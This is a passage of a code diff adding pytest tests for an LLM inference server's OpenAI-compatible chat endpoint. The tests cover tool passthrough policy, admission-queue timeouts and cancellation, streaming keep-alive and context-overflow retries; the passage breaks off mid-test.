+            return inf_mod.JSONResponse({"ok": True, "model": model_name})
+
+        try:
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_non_streaming",
+                fake_passthrough,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "json"}],
+                response_format = {"type": "json_object"},
+            )
+            response = self._drive(
+                openai_chat_completions(
+                    payload,
+                    request = self._Request(),
+                    current_subject = "test",
+                )
+            )
+
+            assert json.loads(response.body)["ok"] is True
+            assert captured["body"]["response_format"] == {"type": "json_object"}
+            assert "tools" not in captured["body"]
+            assert "tool_choice" not in captured["body"]
+        finally:
+            reset_tool_policy()
+
+    def test_global_enable_tools_does_not_replace_client_tools_passthrough(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        reset_tool_policy()
+        set_tool_policy(True)
+        captured = {}
+        client_tools = [
+            {
+                "type": "function",
+                "function": {
+                    "name": "client_lookup",
+                    "parameters": {"type": "object", "properties": {}},
+                },
+            }
+        ]
+
+        def _plain(**_kwargs):
+            raise AssertionError("plain GGUF path should not be used")
+
+        def _tools(**_kwargs):
+            raise AssertionError("Unsloth tool loop should not replace client tools")
+
+        backend = SimpleNamespace(
+            is_loaded = True,
+            is_vision = False,
+            supports_tools = True,
+            _is_audio = False,
+            model_identifier = "test-gguf",
+            context_length = 4096,
+            base_url = "http://llama.policy.test",
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            generate_chat_completion = _plain,
+            generate_chat_completion_with_tools = _tools,
+        )
+
+        async def fake_passthrough(llama_backend, payload, model_name, **_kwargs):
+            captured["body"] = inf_mod._build_openai_passthrough_body(
+                payload,
+                backend_ctx = llama_backend.context_length,
+                llama_backend = llama_backend,
+            )
+            return inf_mod.JSONResponse({"ok": True, "model": model_name})
+
+        try:
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(
+                inf_mod,
+                "_openai_passthrough_non_streaming",
+                fake_passthrough,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "use client tool"}],
+                tools = client_tools,
+            )
+            response = self._drive(
+                openai_chat_completions(
+                    payload,
+                    request = self._Request(),
+                    current_subject = "test",
+                )
+            )
+
+            assert json.loads(response.body)["ok"] is True
+            assert captured["body"]["tools"] == client_tools
+            assert captured["body"]["tool_choice"] == "auto"
+        finally:
+            reset_tool_policy()
+
+    def test_global_enable_tools_honors_client_tool_choice_none(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        reset_tool_policy()
+        set_tool_policy(True)
+        client_tools = [
+            {
+                "type": "function",
+                "function": {
+                    "name": "client_lookup",
+                    "parameters": {"type": "object", "properties": {}},
+                },
+            }
+        ]
+
+        def _plain(**kwargs):
+            assert kwargs["max_tokens"] is None
+            yield "plain response"
+
+        def _tools(**_kwargs):
+            raise AssertionError("tool_choice='none' must not start Unsloth's tool loop")
+
+        backend = SimpleNamespace(
+            is_loaded = True,
+            is_vision = False,
+            supports_tools = True,
+            _is_audio = False,
+            model_identifier = "test-gguf",
+            context_length = 4096,
+            base_url = "http://llama.policy.test",
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            generate_chat_completion = _plain,
+            generate_chat_completion_with_tools = _tools,
+        )
+
+        try:
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "do not use tools"}],
+                tools = client_tools,
+                tool_choice = "none",
+            )
+            response = self._drive(
+                openai_chat_completions(
+                    payload,
+                    request = self._Request(),
+                    current_subject = "test",
+                )
+            )
+
+            assert json.loads(response.body)["choices"][0]["message"]["content"] == "plain response"
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+            assert entry["reply"] == "plain response"
+            assert monitor.active_count() == 0
+        finally:
+            reset_tool_policy()
+
+    def test_enabled_tools_without_enable_tools_keeps_response_format_passthrough(
+        self, monkeypatch
+    ):
+        import routes.inference as inf_mod
+
+        reset_tool_policy()
+        captured = {}
+
+        def _plain(**_kwargs):
+            raise AssertionError("plain GGUF path should not be used")
+
+        def _tools(**_kwargs):
+            raise AssertionError("enabled_tools alone must not start Unsloth's tool loop")
+
+        backend = SimpleNamespace(
+            is_loaded = True,
+            is_vision = False,
+            supports_tools = True,
+            _is_audio = False,
+            model_identifier = "test-gguf",
+            context_length = 4096,
+            base_url = "http://llama.enabled-tools.test",
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            generate_chat_completion = _plain,
+            generate_chat_completion_with_tools = _tools,
+        )
+
+        async def fake_passthrough(llama_backend, payload, model_name, **_kwargs):
+            captured["body"] = inf_mod._build_openai_passthrough_body(
+                payload,
+                backend_ctx = llama_backend.context_length,
+                llama_backend = llama_backend,
+            )
+            return inf_mod.JSONResponse({"ok": True, "model": model_name})
+
+        monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+        monkeypatch.setattr(inf_mod, "_openai_passthrough_non_streaming", fake_passthrough)
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+
+        payload = ChatCompletionRequest(
+            model = "default",
+            messages = [{"role": "user", "content": "json"}],
+            enabled_tools = ["web_search"],
+            response_format = {"type": "json_object"},
+        )
+        response = self._drive(
+            openai_chat_completions(
+                payload,
+                request = self._Request(),
+                current_subject = "test",
+            )
+        )
+
+        assert json.loads(response.body)["ok"] is True
+        assert captured["body"]["response_format"] == {"type": "json_object"}
+
+    def test_enabled_tools_without_enable_tools_keeps_client_tools_passthrough(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        reset_tool_policy()
+        captured = {}
+        client_tools = [
+            {
+                "type": "function",
+                "function": {
+                    "name": "client_lookup",
+                    "parameters": {"type": "object", "properties": {}},
+                },
+            }
+        ]
+
+        def _plain(**_kwargs):
+            raise AssertionError("plain GGUF path should not be used")
+
+        def _tools(**_kwargs):
+            raise AssertionError("enabled_tools alone must not start Unsloth's tool loop")
+
+        backend = SimpleNamespace(
+            is_loaded = True,
+            is_vision = False,
+            supports_tools = True,
+            _is_audio = False,
+            model_identifier = "test-gguf",
+            context_length = 4096,
+            base_url = "http://llama.enabled-tools.test",
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            generate_chat_completion = _plain,
+            generate_chat_completion_with_tools = _tools,
+        )
+
+        async def fake_passthrough(llama_backend, payload, model_name, **_kwargs):
+            captured["body"] = inf_mod._build_openai_passthrough_body(
+                payload,
+                backend_ctx = llama_backend.context_length,
+                llama_backend = llama_backend,
+            )
+            return inf_mod.JSONResponse({"ok": True, "model": model_name})
+
+        monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+        monkeypatch.setattr(inf_mod, "_openai_passthrough_non_streaming", fake_passthrough)
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+
+        payload = ChatCompletionRequest(
+            model = "default",
+            messages = [{"role": "user", "content": "use client tool"}],
+            enabled_tools = ["web_search"],
+            tools = client_tools,
+        )
+        response = self._drive(
+            openai_chat_completions(
+                payload,
+                request = self._Request(),
+                current_subject = "test",
+            )
+        )
+
+        assert json.loads(response.body)["ok"] is True
+        assert captured["body"]["tools"] == client_tools
+        assert captured["body"]["tool_choice"] == "auto"
+
     def test_reasoning_capable_gguf_stream_splits_reasoning_by_default(self, monkeypatch):
         def _generate(**_kwargs):
             yield "<think>plan</think>visible"
@@ -1639,6 +3011,313 @@ class TestGgufVisionToolRouting:
         [entry] = result.monitor.snapshot()
         assert entry["reply"] == "visible"
 
+    def test_standard_gguf_non_streaming_admission_timeout_before_generation(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            def _generate(**_kwargs):
+                raise AssertionError("standard GGUF generation must not start while queued")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.standard.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_QUEUE_TIMEOUT_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+            queue = get_llama_admission_queue("http://llama.standard.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+            )
+            try:
+                with pytest.raises(HTTPException) as exc:
+                    await openai_chat_completions(
+                        payload,
+                        request = Request(),
+                        current_subject = "test",
+                    )
+                assert exc.value.status_code == 503
+            finally:
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+
+        asyncio.run(_run())
+
+    def test_standard_gguf_non_streaming_cancel_id_stops_queued_request_before_generation(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            def _generate(**_kwargs):
+                raise AssertionError("standard GGUF generation must not start after cancel_id")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.standard.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+            queue = get_llama_admission_queue("http://llama.standard.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            cancel_id = "standard-nonstream-admission-cancel"
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                cancel_id = cancel_id,
+            )
+            task = asyncio.create_task(
+                openai_chat_completions(
+                    payload,
+                    request = Request(),
+                    current_subject = "test",
+                )
+            )
+            try:
+                for _ in range(50):
+                    if cancel_id in inf_mod._CANCEL_REGISTRY:
+                        break
+                    await asyncio.sleep(0.01)
+                assert cancel_id in inf_mod._CANCEL_REGISTRY
+                assert inf_mod._cancel_by_cancel_id_or_stash(cancel_id) == 1
+                with pytest.raises(HTTPException) as exc:
+                    await asyncio.wait_for(task, timeout = 0.5)
+                assert exc.value.status_code == 499
+            finally:
+                if not task.done():
+                    task.cancel()
+                    with pytest.raises(asyncio.CancelledError):
+                        await task
+                blocker.release()
+
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_standard_gguf_non_streaming_admission_task_cancel_cleans_tracker_and_slot(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            cancel_id = "standard-nonstream-task-cancel"
+
+            async def fake_wait(*_args, **_kwargs):
+                raise asyncio.CancelledError()
+
+            def _generate(**_kwargs):
+                raise AssertionError("standard GGUF generation must not start after task cancel")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.standard.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(
+                inf_mod,
+                "_wait_for_openai_admission_non_streaming",
+                fake_wait,
+            )
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                cancel_id = cancel_id,
+            )
+            with pytest.raises(asyncio.CancelledError):
+                await openai_chat_completions(
+                    payload,
+                    request = self._Request(),
+                    current_subject = "test",
+                )
+
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            assert get_llama_admission_queue("http://llama.standard.test").snapshot().active == 0
+
+        asyncio.run(_run())
+
+    def test_gguf_tool_non_streaming_admission_timeout_before_generation(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            async def fake_select_tools(*_args, **_kwargs):
+                return [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ]
+
+            def _generate(**_kwargs):
+                raise AssertionError("GGUF tool loop must not start while queued")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.tool.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = lambda **_kwargs: "unused",
+                generate_chat_completion_with_tools = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_QUEUE_TIMEOUT_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(inf_mod, "_select_request_tools", fake_select_tools)
+
+            queue = get_llama_admission_queue("http://llama.tool.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                enable_tools = True,
+            )
+            try:
+                with pytest.raises(HTTPException) as exc:
+                    await openai_chat_completions(
+                        payload,
+                        request = Request(),
+                        current_subject = "test",
+                    )
+                assert exc.value.status_code == 503
+            finally:
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+
+        asyncio.run(_run())
+
+    def test_gguf_tool_non_streaming_cancel_drains_worker_before_releasing_slot(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fake_select_tools(*_args, **_kwargs):
+                return [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ]
+
+            started = threading.Event()
+            released = threading.Event()
+
+            def _tools(**kwargs):
+                cancel_event = kwargs["cancel_event"]
+                started.set()
+                while not cancel_event.is_set():
+                    time.sleep(0.005)
+                released.set()
+                yield from ()
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.tool.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = lambda **_kwargs: "unused",
+                generate_chat_completion_with_tools = _tools,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(inf_mod, "_select_request_tools", fake_select_tools)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                enable_tools = True,
+            )
+            task = asyncio.create_task(
+                openai_chat_completions(
+                    payload,
+                    request = self._Request(),
+                    current_subject = "test",
+                )
+            )
+            assert await asyncio.to_thread(started.wait, 1.0)
+
+            task.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(task, timeout = 1.0)
+
+            assert released.is_set()
+            assert get_llama_admission_queue("http://llama.tool.test").snapshot().active == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
     def test_non_streaming_gguf_n_records_all_monitor_replies(self, monkeypatch):
         import routes.inference as inf_mod
 
@@ -1691,6 +3370,58 @@ class TestGgufVisionToolRouting:
         assert entry["completion_tokens"] == 3
         assert monitor.active_count() == 0
 
+    def test_non_streaming_gguf_cancel_drains_worker(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            started = threading.Event()
+            released = threading.Event()
+
+            def _generate(**kwargs):
+                cancel_event = kwargs["cancel_event"]
+                started.set()
+                while not cancel_event.is_set():
+                    time.sleep(0.005)
+                released.set()
+                yield from ()
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+            )
+            task = asyncio.create_task(
+                openai_chat_completions(
+                    payload,
+                    request = self._Request(),
+                    current_subject = "test",
+                )
+            )
+            assert await asyncio.to_thread(started.wait, 1.0)
+
+            task.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(task, timeout = 1.0)
+
+            assert released.is_set()
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
     def test_standard_gguf_merges_system_and_developer_messages(self, monkeypatch):
         import routes.inference as inf_mod
 
@@ -1801,7 +3532,12 @@ class TestApiMonitorProviderAndCompletionStreams:
         async def is_disconnected(self):
             return False
 
-    async def _run_passthrough_stream(self, monkeypatch, lines):
+    async def _run_passthrough_stream(
+        self,
+        monkeypatch,
+        lines,
+        stream_options = None,
+    ):
         import routes.inference as inf_mod
 
         class Request:
@@ -1829,6 +3565,7 @@ class TestApiMonitorProviderAndCompletionStreams:
             model = "default",
             messages = [ChatMessage(role = "user", content = "hi")],
             stream = True,
+            stream_options = stream_options,
             tools = [
                 {
                     "type": "function",
@@ -1900,7 +3637,7 @@ class TestApiMonitorProviderAndCompletionStreams:
                     "chatcmpl-test",
                     monitor_id = monitor_id,
                 ),
-                timeout = 0.2,
+                timeout = 5.0,
             )
             assert isinstance(response, _SameTaskStreamingResponse)
 
@@ -1913,6 +3650,134 @@ class TestApiMonitorProviderAndCompletionStreams:
 
         asyncio.run(_run())
 
+    def test_passthrough_stream_forwards_backend_auth_headers(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            captured_headers = {}
+
+            async def fake_send(_client, req, *_args, **_kwargs):
+                captured_headers.update(dict(req.headers))
+                return httpx.Response(200, content = b"")
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    _auth_headers = {"Authorization": "Bearer secret"},
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "chatcmpl-test",
+                "chatcmpl-test",
+                monitor_id = monitor_id,
+            )
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+
+            assert "data: [DONE]\n\n" in "".join(chunks)
+            assert captured_headers["authorization"] == "Bearer secret"
+            assert captured_headers["connection"] == "close"
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_keepalive_while_upstream_headers_are_pending(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+
+            async def fake_send(*_args, **_kwargs):
+                await gate.wait()
+                return httpx.Response(200, content = b"")
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+            monkeypatch.setattr(
+                inf_mod,
+                "_OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S",
+                0.01,
+            )
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 0.2,
+            )
+
+            first = await asyncio.wait_for(response.body_iterator.__anext__(), timeout = 0.2)
+            assert first == ": keep-alive\n\n"
+
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            body = "".join(chunks)
+            assert "data: [DONE]\n\n" in body
+
+        asyncio.run(_run())
+
     def test_passthrough_stream_preheader_non_200_in_window(self, monkeypatch):
         async def _run():
             import routes.inference as inf_mod
@@ -2044,7 +3909,7 @@ class TestApiMonitorProviderAndCompletionStreams:
                     "chatcmpl-test",
                     monitor_id = monitor_id,
                 ),
-                timeout = 0.2,
+                timeout = 5.0,
             )
             assert isinstance(response, _SameTaskStreamingResponse)
             gate.set()
@@ -2055,6 +3920,7 @@ class TestApiMonitorProviderAndCompletionStreams:
             body = "".join(chunks)
             assert "data:" in body
             assert '"error"' in body
+            assert "data: [DONE]" in body
             [entry] = monitor.snapshot()
             assert entry["status"] == "error"
             assert "bad" in entry["error"]
@@ -2107,7 +3973,7 @@ class TestApiMonitorProviderAndCompletionStreams:
                     "chatcmpl-test",
                     monitor_id = monitor_id,
                 ),
-                timeout = 0.2,
+                timeout = 5.0,
             )
             assert isinstance(response, _SameTaskStreamingResponse)
 
@@ -2117,7 +3983,13 @@ class TestApiMonitorProviderAndCompletionStreams:
                 async for chunk in response.body_iterator
             ]
             body = "".join(chunks)
-            payload = json.loads(body.removeprefix("data: ").strip())
+            events = [
+                line.removeprefix("data: ")
+                for line in body.splitlines()
+                if line.startswith("data: ")
+            ]
+            assert events[-1] == "[DONE]"
+            payload = json.loads(events[0])
             assert payload["error"]["code"] == "context_length_exceeded"
             assert payload["error"]["param"] == "messages"
             assert isinstance(payload["error"], dict)
@@ -2190,7 +4062,7 @@ class TestApiMonitorProviderAndCompletionStreams:
                     "chatcmpl-test",
                     monitor_id = monitor_id,
                 ),
-                timeout = 0.2,
+                timeout = 5.0,
             )
             assert isinstance(response, _SameTaskStreamingResponse)
 
@@ -2207,6 +4079,105 @@ class TestApiMonitorProviderAndCompletionStreams:
 
         asyncio.run(_run())
 
+    def test_passthrough_stream_preheader_immediate_context_retry_adopts_delayed_response(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+            calls = []
+            err_body = json.dumps(
+                {
+                    "error": {
+                        "message": "request (10000 tokens) exceeds the available context size (2048 tokens)",
+                        "n_prompt_tokens": 10000,
+                        "n_ctx": 2048,
+                    }
+                }
+            ).encode("utf-8")
+            ok_lines = [
+                'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,'
+                '"model":"gguf","choices":[{"index":0,"delta":{"content":"OK"},'
+                '"finish_reason":null}]}',
+                'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,'
+                '"model":"gguf","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}',
+                "data: [DONE]",
+            ]
+
+            async def fake_send(_client, req, *_args, **_kwargs):
+                calls.append(json.loads(req.content.decode("utf-8")))
+                if len(calls) == 1:
+                    return httpx.Response(400, content = err_body)
+                await gate.wait()
+                return httpx.Response(200, content = b"")
+
+            async def fake_items(*_args, **_kwargs):
+                for line in ok_lines:
+                    yield line
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+            monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+
+            messages = [
+                ChatMessage(role = "system", content = "system"),
+                *[
+                    ChatMessage(role = "user", content = f"turn {idx} " + ("x" * 1000))
+                    for idx in range(8)
+                ],
+            ]
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = messages,
+                stream = True,
+                context_overflow = "truncate_middle",
+            )
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 2048,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 0.2,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            body = "".join(chunks)
+
+            assert "OK" in body
+            assert "context_length_exceeded" not in body
+            assert len(calls) == 2
+            assert len(calls[1]["messages"]) < len(calls[0]["messages"])
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+
+        asyncio.run(_run())
+
     def test_passthrough_stream_preheader_delayed_request_error_cleans_up(self, monkeypatch):
         async def _run():
             import routes.inference as inf_mod
@@ -2252,7 +4223,7 @@ class TestApiMonitorProviderAndCompletionStreams:
                     "chatcmpl-test",
                     monitor_id = monitor_id,
                 ),
-                timeout = 0.2,
+                timeout = 5.0,
             )
             assert isinstance(response, _SameTaskStreamingResponse)
             assert cancel_id in inf_mod._CANCEL_REGISTRY
@@ -2323,13 +4294,13 @@ class TestApiMonitorProviderAndCompletionStreams:
                     monitor_id = monitor_id,
                 )
             )
-            await asyncio.wait_for(entered.wait(), timeout = 0.2)
+            await asyncio.wait_for(entered.wait(), timeout = 5.0)
             assert cancel_id in inf_mod._CANCEL_REGISTRY
 
             task.cancel()
             with pytest.raises(asyncio.CancelledError):
                 await task
-            await asyncio.wait_for(cancelled.wait(), timeout = 0.2)
+            await asyncio.wait_for(cancelled.wait(), timeout = 5.0)
             assert cancel_id not in inf_mod._CANCEL_REGISTRY
 
         asyncio.run(_run())
@@ -2389,13 +4360,13 @@ class TestApiMonitorProviderAndCompletionStreams:
                     "chatcmpl-test",
                     monitor_id = monitor_id,
                 ),
-                timeout = 0.2,
+                timeout = 5.0,
             )
             assert isinstance(response, _SameTaskStreamingResponse)
             assert cancel_id in inf_mod._CANCEL_REGISTRY
 
             gate.set()
-            await asyncio.wait_for(returned.wait(), timeout = 0.2)
+            await asyncio.wait_for(returned.wait(), timeout = 5.0)
             await asyncio.sleep(0)
             await response._unstarted_cleanup()
             assert upstream_response.is_closed
@@ -2647,6 +4618,150 @@ class TestApiMonitorProviderAndCompletionStreams:
 
         asyncio.run(_run())
 
+    def test_completions_omitted_max_tokens_falls_back_to_context(self, monkeypatch):
+        # With no env knobs set, an omitted max_tokens must forward the
+        # backend's context length, exactly as on main.
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                state = SimpleNamespace()
+                url = SimpleNamespace(path = "/v1/completions")
+                method = "POST"
+
+                async def json(self):
+                    return {"prompt": "hi", "stream": False}
+
+            captured = []
+
+            class CapturingClient:
+                async def post(self, _url, *, json, **_kwargs):
+                    captured.append(dict(json))
+                    return httpx.Response(
+                        200,
+                        json = {
+                            "id": "cmpl-test",
+                            "choices": [{"text": "ok"}],
+                            "usage": {
+                                "prompt_tokens": 1,
+                                "completion_tokens": 1,
+                                "total_tokens": 2,
+                            },
+                        },
+                    )
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: CapturingClient())
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
